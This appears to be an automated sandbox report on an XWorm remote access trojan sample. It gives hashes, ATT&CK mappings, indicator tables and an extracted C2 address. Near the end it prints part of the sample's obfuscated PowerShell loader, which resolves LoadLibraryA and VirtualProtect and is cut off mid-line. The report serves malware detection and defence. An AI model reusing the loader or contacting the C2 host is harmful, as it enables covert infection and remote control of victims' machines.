xworm | d3ddea55a7fdb26efcf9d220940191fa07ed291d1b7dce2c7f6f157575886ebb

Analysis

max time kernel
150s
max time network
149s
platform
windows11-21h2_x64
resource
win11-20260513-en
resource tags

arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
03/06/2026, 12:13

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Security.exe
Size 488KB
Sample260603-pd1c7set4t
SHA256 d3ddea55a7fdb26efcf9d220940191fa07ed291d1b7dce2c7f6f157575886ebb
MD5 f8862a71544afeafbd2ed09e19e33b50
SHA1 beff8d7435af5b6dcc54bb47fb1b5a61a5faa4bf
SHA512 3f16e8b0076698bb2dcbf651fb1227192ac4ebd6a960097f26620f073c5c4e7180703c631e5a11929dc5d00cbd02a89273ba79369d117fb3533ee7f8fe632033
SSDEEP 12288:SgFYH9GgqEyGocGjPrW/XbQaqK3FDRlSU3zf90v:gHogRy9cGe/XZbCazf
TLSH
T151B423D9D3F51036DABF03302B73E252931669B8AAA8E30C5557021FD8EA8C5E04677F
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery execution xworm persistence rat trojan

Malware Config

Extracted

Family

xworm

Version

profile-indians.gl.at.ply.gg:39017

Attributes

Install_directory
%AppData%
install_file
USB.exe

Signatures

Family: Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm

Detect Xworm Payload 2 IoCs

resource	yara_rule
behavioral2/files/0x000300000002a213-6.dat	family_xworm
behavioral2/memory/1188-36-0x00000000004A0000-0x00000000004B4000-memory.dmp	family_xworm

Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs

description	pid	Process	procid_target
PID 2596 created 644	2596	powershell.EXE	5

Executes dropped EXE 5 IoCs

pid	Process
1188	$77Security.exe
2716	Install.exe
1036	$77Security.exe
2540	$77Security.exe
1648	$77Security.exe

Indicator Removal: Clear Windows Event Logs 1 TTPs 1 IoCs

Clear Windows Event Logs to hide the activity of an intrusion.

defense_evasion

Clear Windows Event Logs

T1070.001

description	ioc	Process
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-CloudStore%4Operational.evtx	svchost.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-125073035-2952146151-721812867-1000\Software\Microsoft\Windows\CurrentVersion\Run\$77Security = "C:\\Users\\Admin\\AppData\\Roaming\\$77Security.exe"	$77Security.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2596	powershell.EXE

Drops file in System32 directory 4 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.EXE
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log	powershell.EXE
File opened for modification	C:\Windows\System32\Tasks\$77Security	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules.xml	OfficeClickToRun.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 2596 set thread context of 2188	2596	powershell.EXE	87

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Install.exe

Modifies data under HKEY_USERS 55 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe_queried = "1780488907"	OfficeClickToRun.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe = "Tue, 02 Jun 2026 03:29:06 GMT"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	svchost.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\RulesEndpoint = "https://nexusrules.officeapps.live.com/nexus/rules?Application=officeclicktorun.exe&Version=16.0.12527.20470&ClientId={F817DC00-D828-4EE5-B2F7-56ACC9D1779F}&OSEnvironment=10&MsoAppId=37&AudienceName=Production&AudienceGroup=Production&AppVersion=16.0.12527.20470&"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common	OfficeClickToRun.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSTagIds0 = "577889346,5804129,17110992,7202269,9179409,24262478,41484365,17110988,7153487,508368333,17962391,17962392,3462423,3702920,3700754,3965062,24262474,4297094,7153421,3462365,18716193,7153435,7202265,507286179,41816131,20502174,6308191,18407617,39125643,539756558,504928405,504928410,24262477,25036127,24262473,9179410,6104718,9179411,51475283,41185282,39389248,539756557,528570079"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.EXE
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\MICROSOFT\OFFICE\16.0\COMMON\CLIENTTELEMETRY\RULESMETADATA\OFFICECLICKTORUN.EXE\ULSMONITOR	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSCategoriesSeverities = "1329 50,1329 10,944 15,943 6,1329 15,1329 100,1329 6,943 10,943 15,944 6,940 50,941 15,941 10,941 6,942 15,942 10,942 6,944 100,944 10,944 50,940 6,940 100,940 10,940 15"	OfficeClickToRun.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
2652	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2596	powershell.EXE
2596	powershell.EXE
2596	powershell.EXE
2188	dllhost.exe
2188	dllhost.exe
2188	dllhost.exe
2188	dllhost.exe
2188	dllhost.exe
2188	dllhost.exe
2188	dllhost.exe
2188	dllhost.exe
2188	dllhost.exe
2188	dllhost.exe
2188	dllhost.exe
2188	dllhost.exe
2188	dllhost.exe
2188	dllhost.exe
2188	dllhost.exe
2188	dllhost.exe
2188	dllhost.exe
2188	dllhost.exe
2188	dllhost.exe
2188	dllhost.exe
2188	dllhost.exe
2188	dllhost.exe
2188	dllhost.exe
2188	dllhost.exe
2188	dllhost.exe
2188	dllhost.exe
2188	dllhost.exe
2188	dllhost.exe
2188	dllhost.exe
2188	dllhost.exe
2188	dllhost.exe
2188	dllhost.exe
2188	dllhost.exe
2188	dllhost.exe
2188	dllhost.exe
2188	dllhost.exe
2188	dllhost.exe
2188	dllhost.exe
2188	dllhost.exe
2188	dllhost.exe
2188	dllhost.exe
2188	dllhost.exe
2188	dllhost.exe
2188	dllhost.exe
2188	dllhost.exe
2188	dllhost.exe
2188	dllhost.exe
2188	dllhost.exe
2188	dllhost.exe
2188	dllhost.exe
2188	dllhost.exe
2188	dllhost.exe
2188	dllhost.exe
2188	dllhost.exe
2188	dllhost.exe
2188	dllhost.exe
2188	dllhost.exe
2188	dllhost.exe
2188	dllhost.exe
2188	dllhost.exe
2188	dllhost.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
3188	Explorer.EXE

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	1188	$77Security.exe
Token: SeDebugPrivilege	2596	powershell.EXE
Token: SeDebugPrivilege	2596	powershell.EXE
Token: SeDebugPrivilege	2188	dllhost.exe
Token: SeShutdownPrivilege	3188	Explorer.EXE
Token: SeCreatePagefilePrivilege	3188	Explorer.EXE
Token: SeShutdownPrivilege	3188	Explorer.EXE
Token: SeCreatePagefilePrivilege	3188	Explorer.EXE
Token: SeShutdownPrivilege	3188	Explorer.EXE
Token: SeCreatePagefilePrivilege	3188	Explorer.EXE
Token: SeShutdownPrivilege	3188	Explorer.EXE
Token: SeCreatePagefilePrivilege	3188	Explorer.EXE
Token: SeShutdownPrivilege	3188	Explorer.EXE
Token: SeCreatePagefilePrivilege	3188	Explorer.EXE
Token: SeShutdownPrivilege	3188	Explorer.EXE
Token: SeCreatePagefilePrivilege	3188	Explorer.EXE
Token: SeShutdownPrivilege	3188	Explorer.EXE
Token: SeCreatePagefilePrivilege	3188	Explorer.EXE
Token: SeShutdownPrivilege	3188	Explorer.EXE
Token: SeCreatePagefilePrivilege	3188	Explorer.EXE
Token: SeShutdownPrivilege	3188	Explorer.EXE
Token: SeCreatePagefilePrivilege	3188	Explorer.EXE
Token: SeShutdownPrivilege	3188	Explorer.EXE
Token: SeCreatePagefilePrivilege	3188	Explorer.EXE
Token: SeDebugPrivilege	1036	$77Security.exe
Token: SeShutdownPrivilege	3188	Explorer.EXE
Token: SeCreatePagefilePrivilege	3188	Explorer.EXE
Token: SeShutdownPrivilege	3188	Explorer.EXE
Token: SeCreatePagefilePrivilege	3188	Explorer.EXE
Token: SeShutdownPrivilege	3188	Explorer.EXE
Token: SeCreatePagefilePrivilege	3188	Explorer.EXE
Token: SeShutdownPrivilege	3188	Explorer.EXE
Token: SeCreatePagefilePrivilege	3188	Explorer.EXE
Token: SeShutdownPrivilege	3188	Explorer.EXE
Token: SeCreatePagefilePrivilege	3188	Explorer.EXE
Token: SeShutdownPrivilege	3188	Explorer.EXE
Token: SeCreatePagefilePrivilege	3188	Explorer.EXE
Token: SeShutdownPrivilege	3188	Explorer.EXE
Token: SeCreatePagefilePrivilege	3188	Explorer.EXE
Token: SeShutdownPrivilege	3188	Explorer.EXE
Token: SeCreatePagefilePrivilege	3188	Explorer.EXE
Token: SeShutdownPrivilege	3188	Explorer.EXE
Token: SeCreatePagefilePrivilege	3188	Explorer.EXE
Token: SeShutdownPrivilege	3188	Explorer.EXE
Token: SeCreatePagefilePrivilege	3188	Explorer.EXE
Token: SeShutdownPrivilege	3188	Explorer.EXE
Token: SeCreatePagefilePrivilege	3188	Explorer.EXE
Token: SeShutdownPrivilege	3188	Explorer.EXE
Token: SeCreatePagefilePrivilege	3188	Explorer.EXE
Token: SeShutdownPrivilege	3188	Explorer.EXE
Token: SeCreatePagefilePrivilege	3188	Explorer.EXE
Token: SeShutdownPrivilege	3188	Explorer.EXE
Token: SeCreatePagefilePrivilege	3188	Explorer.EXE
Token: SeDebugPrivilege	2540	$77Security.exe
Token: SeShutdownPrivilege	3188	Explorer.EXE
Token: SeCreatePagefilePrivilege	3188	Explorer.EXE
Token: SeShutdownPrivilege	3188	Explorer.EXE
Token: SeCreatePagefilePrivilege	3188	Explorer.EXE
Token: SeShutdownPrivilege	3188	Explorer.EXE
Token: SeCreatePagefilePrivilege	3188	Explorer.EXE
Token: SeShutdownPrivilege	3188	Explorer.EXE
Token: SeCreatePagefilePrivilege	3188	Explorer.EXE
Token: SeShutdownPrivilege	404	dwm.exe
Token: SeCreatePagefilePrivilege	404	dwm.exe

Suspicious use of UnmapMainImage 2 IoCs

pid	Process
3756	RuntimeBroker.exe
3188	Explorer.EXE

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2552 wrote to memory of 1188	2552	Security.exe	83
PID 2552 wrote to memory of 2716	2552	Security.exe	84
PID 2596 wrote to memory of 2188	2596	powershell.EXE	87
PID 2596 wrote to memory of 2188	2596	powershell.EXE	87
PID 2596 wrote to memory of 2188	2596	powershell.EXE	87
PID 2596 wrote to memory of 2188	2596	powershell.EXE	87
PID 2596 wrote to memory of 2188	2596	powershell.EXE	87
PID 2188 wrote to memory of 644	2188	dllhost.exe	5
PID 2188 wrote to memory of 708	2188	dllhost.exe	7
PID 2188 wrote to memory of 912	2188	dllhost.exe	11
PID 2188 wrote to memory of 424	2188	dllhost.exe	13
PID 2188 wrote to memory of 640	2188	dllhost.exe	14
PID 2188 wrote to memory of 404	2188	dllhost.exe	15
PID 2188 wrote to memory of 1044	2188	dllhost.exe	16
PID 2188 wrote to memory of 1120	2188	dllhost.exe	17
PID 2188 wrote to memory of 1148	2188	dllhost.exe	18
PID 2188 wrote to memory of 1228	2188	dllhost.exe	19
PID 2188 wrote to memory of 1256	2188	dllhost.exe	20
PID 2188 wrote to memory of 1264	2188	dllhost.exe	21
PID 2188 wrote to memory of 1324	2188	dllhost.exe	23
PID 2188 wrote to memory of 1420	2188	dllhost.exe	24
PID 2188 wrote to memory of 1580	2188	dllhost.exe	25
PID 2188 wrote to memory of 1604	2188	dllhost.exe	26
PID 2188 wrote to memory of 1664	2188	dllhost.exe	27
PID 2188 wrote to memory of 1676	2188	dllhost.exe	28
PID 2188 wrote to memory of 1692	2188	dllhost.exe	29
PID 2188 wrote to memory of 1840	2188	dllhost.exe	30
PID 2188 wrote to memory of 1888	2188	dllhost.exe	31
PID 2188 wrote to memory of 1928	2188	dllhost.exe	32
PID 2188 wrote to memory of 1960	2188	dllhost.exe	33
PID 2188 wrote to memory of 1996	2188	dllhost.exe	34
PID 2188 wrote to memory of 2004	2188	dllhost.exe	35
PID 2188 wrote to memory of 2020	2188	dllhost.exe	36
PID 2188 wrote to memory of 1760	2188	dllhost.exe	37
PID 2188 wrote to memory of 1976	2188	dllhost.exe	38
PID 2188 wrote to memory of 2180	2188	dllhost.exe	39
PID 2188 wrote to memory of 2324	2188	dllhost.exe	41
PID 2188 wrote to memory of 2476	2188	dllhost.exe	42
PID 2188 wrote to memory of 2608	2188	dllhost.exe	43
PID 2188 wrote to memory of 2616	2188	dllhost.exe	44
PID 2188 wrote to memory of 2644	2188	dllhost.exe	45
PID 2188 wrote to memory of 2676	2188	dllhost.exe	46
PID 2188 wrote to memory of 2792	2188	dllhost.exe	47
PID 2188 wrote to memory of 2804	2188	dllhost.exe	48
PID 2188 wrote to memory of 2812	2188	dllhost.exe	49
PID 2188 wrote to memory of 920	2188	dllhost.exe	51
PID 2188 wrote to memory of 2936	2188	dllhost.exe	52
PID 2188 wrote to memory of 2744	2188	dllhost.exe	53
PID 2188 wrote to memory of 3188	2188	dllhost.exe	54
PID 2188 wrote to memory of 3324	2188	dllhost.exe	55
PID 2188 wrote to memory of 3376	2188	dllhost.exe	56
PID 2188 wrote to memory of 3688	2188	dllhost.exe	59
PID 2188 wrote to memory of 3756	2188	dllhost.exe	60
PID 2188 wrote to memory of 3828	2188	dllhost.exe	61
PID 2188 wrote to memory of 3836	2188	dllhost.exe	62
PID 2188 wrote to memory of 4156	2188	dllhost.exe	63
PID 2188 wrote to memory of 4312	2188	dllhost.exe	64
PID 2188 wrote to memory of 2040	2188	dllhost.exe	68
PID 2188 wrote to memory of 2740	2188	dllhost.exe	69
PID 2188 wrote to memory of 4236	2188	dllhost.exe	71
PID 2188 wrote to memory of 1040	2188	dllhost.exe	72
PID 2188 wrote to memory of 3748	2188	dllhost.exe	73
PID 2188 wrote to memory of 3884	2188	dllhost.exe	74
PID 2188 wrote to memory of 2232	2188	dllhost.exe	75

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:644
- C:\Windows\system32\dwm.exe
  "dwm.exe"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:404
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{c54b93d5-98fb-4de8-a65a-be0176cec68c}
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2188

C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
1⤵
PID:708

C:\Windows\System32\WUDFHost.exe
"C:\Windows\System32\WUDFHost.exe" -HostGUID:{193a1820-d9ac-4997-8c55-be817523f6aa} -IoEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-37561e90-668e-47a3-a369-e758b54ae940 -SystemEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-368026ea-e629-4e65-9577-06e1106d90e8 -IoCancelEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-27a43dbc-313c-4597-8fca-ad5da43af9ac -NonStateChangingEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-2dc8b9e3-f3f8-4815-99fb-f1f5c138c2f5 -LifetimeId:40ab6274-b191-4b9f-a3b5-db17e4219382 -DeviceGroupId:WudfDefaultDevicePool -HostArg:0
1⤵
PID:912

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
1⤵
PID:424

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
1⤵
PID:640

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
1⤵
PID:1044

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
1⤵
PID:1120

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
1⤵
PID:1148

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
1⤵
PID:1228

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
1⤵
- Drops file in System32 directory
PID:1256
- C:\Windows\system32\taskhostw.exe
  taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}
  2⤵
  PID:2744
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:oiJWcyDsYaMt{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$vSWiQBBxFTwBpa,[Parameter(Position=1)][Type]$DsZWfIvDVK)$jXJpGNTUgXL=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+''+'e'+''+[Char](102)+''+[Char](108)+''+[Char](101)+''+'c'+''+[Char](116)+''+[Char](101)+''+[Char](100)+'D'+[Char](101)+''+[Char](108)+''+[Char](101)+''+[Char](103)+''+'a'+''+[Char](116)+'e')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+'n'+'Me'+[Char](109)+''+[Char](111)+'r'+[Char](121)+''+[Char](77)+'odu'+[Char](108)+'e',$False).DefineType(''+[Char](77)+'y'+[Char](68)+'e'+[Char](108)+''+[Char](101)+'g'+[Char](97)+''+[Char](116)+''+[Char](101)+''+'T'+''+'y'+''+'p'+''+[Char](101)+'',''+[Char](67)+''+[Char](108)+'a'+[Char](115)+''+[Char](115)+','+[Char](80)+''+[Char](117)+'b'+[Char](108)+''+'i'+''+'c'+''+[Char](44)+''+[Char](83)+''+[Char](101)+''+[Char](97)+''+[Char](108)+'e'+[Char](100)+''+[Char](44)+''+[Char](65)+''+[Char](110)+''+[Char](115)+''+[Char](105)+'C'+[Char](108)+''+[Char](97)+''+'s'+''+[Char](115)+''+[Char](44)+''+'A'+''+[Char](117)+''+'t'+''+'o'+''+[Char](67)+''+'l'+'a'+[Char](115)+''+[Char](115)+'',[MulticastDelegate]);$jXJpGNTUgXL.DefineConstructor(''+'R'+''+[Char](84)+''+[Char](83)+''+[Char](112)+''+[Char](101)+''+[Char](99)+''+'i'+'a'+'l'+'N'+'a'+''+[Char](109)+''+'e'+',Hi'+'d'+'e'+[Char](66)+''+'y'+''+'S'+'i'+[Char](103)+',P'+[Char](117)+''+[Char](98)+'l'+'i'+''+[Char](99)+'',[Reflection.CallingConventions]::Standard,$vSWiQBBxFTwBpa).SetImplementationFlags(''+'R'+''+[Char](117)+''+[Char](110)+''+'t'+'i'+[Char](109)+'e'+','+''+[Char](77)+''+[Char](97)+''+'n'+''+[Char](97)+''+'g'+''+[Char](101)+''+'d'+'');$jXJpGNTUgXL.DefineMethod(''+'I'+''+'n'+''+'v'+''+[Char](111)+''+[Char](107)+''+'e'+'',''+[Char](80)+''+'u'+''+[Char](98)+''+[Char](108)+''+'i'+''+[Char](99)+''+[Char](44)+''+[Char](72)+''+[Char](105)+''+[Char](100)+''+'e'+''+[Char](66)+''+[Char](121)+''+[Char](83)+''+'i'+''+'g'+''+[Char](44)+''+[Char](78)+''+[Char](101)+'w'+[Char](83)+''+[Char](108)+''+'o'+''+[Char](116)+''+[Char](44)+''+[Char](86)+''+[Char](105)+''+[Char](114)+'t'+'u'+''+'a'+'l',$DsZWfIvDVK,$vSWiQBBxFTwBpa).SetImplementationFlags(''+[Char](82)+''+[Char](117)+'nt'+'i'+''+[Char](109)+''+[Char](101)+''+[Char](44)+''+'M'+''+'a'+''+[Char](110)+''+'a'+''+[Char](103)+''+[Char](101)+'d');Write-Output $jXJpGNTUgXL.CreateType();}$bpXmPCeFTODCg=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+''+[Char](121)+''+[Char](115)+''+'t'+''+'e'+''+'m'+''+[Char](46)+''+'d'+''+[Char](108)+''+'l'+'')}).GetType(''+'M'+''+'i'+''+[Char](99)+''+'r'+''+[Char](111)+''+[Char](115)+''+[Char](111)+''+[Char](102)+'t'+[Char](46)+''+[Char](87)+''+[Char](105)+''+[Char](110)+''+'3'+''+'2'+'.'+[Char](85)+'n'+'s'+'a'+[Char](102)+''+'e'+''+'N'+''+'a'+'t'+[Char](105)+''+[Char](118)+''+'e'+''+[Char](77)+''+'e'+'th'+[Char](111)+'d'+'s'+'');$wQjKsfzzDMHrRG=$bpXmPCeFTODCg.GetMethod(''+[Char](71)+'et'+[Char](80)+''+[Char](114)+''+[Char](111)+''+[Char](99)+''+[Char](65)+'dd'+[Char](114)+'es'+[Char](115)+'',[Reflection.BindingFlags]('P'+[Char](117)+''+[Char](98)+'li'+[Char](99)+','+'S'+''+[Char](116)+''+'a'+''+[Char](116)+''+'i'+''+[Char](99)+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$RquSOxDFieWqSySysuV=oiJWcyDsYaMt @([String])([IntPtr]);$kONqrBtbPmuRXKCQaxCVNs=oiJWcyDsYaMt @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$DEJhETDwvUk=$bpXmPCeFTODCg.GetMethod(''+[Char](71)+''+[Char](101)+''+[Char](116)+''+[Char](77)+''+'o'+''+'d'+''+[Char](117)+''+'l'+''+[Char](101)+'H'+[Char](97)+''+'n'+''+'d'+''+'l'+''+[Char](101)+'').Invoke($Null,@([Object](''+[Char](107)+'e'+[Char](114)+'ne'+'l'+''+[Char](51)+'2'+'.'+'d'+[Char](108)+''+'l'+'')));$gMxVDjQvccVhks=$wQjKsfzzDMHrRG.Invoke($Null,@([Object]$DEJhETDwvUk,[Object](''+[Char](76)+'o'+[Char](97)+''+'d'+''+'L'+'i'+[Char](98)+'r'+'a'+'r'+[Char](121)+''+[Char](65)+'')));$UHKWTajQKFSayhlNL=$wQjKsfzzDMHrRG.Invoke($Null,@([Object]$DEJhETDwvUk,[Object](''+[Char](86)+''+'i'+''+[Char](114)+''+[Char](116)+'u'+[Char](97)+''+[Char](108)+''+[Char](80)+''+[Char](114)+''+'o'+''+[Char](116)+''+'e'+'c'+'t'+'')));$LnDsCJR=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($gMxVDjQvccVhks,$RquSOxDFieWqSySysuV).Invoke('a'+[Char](109)+''+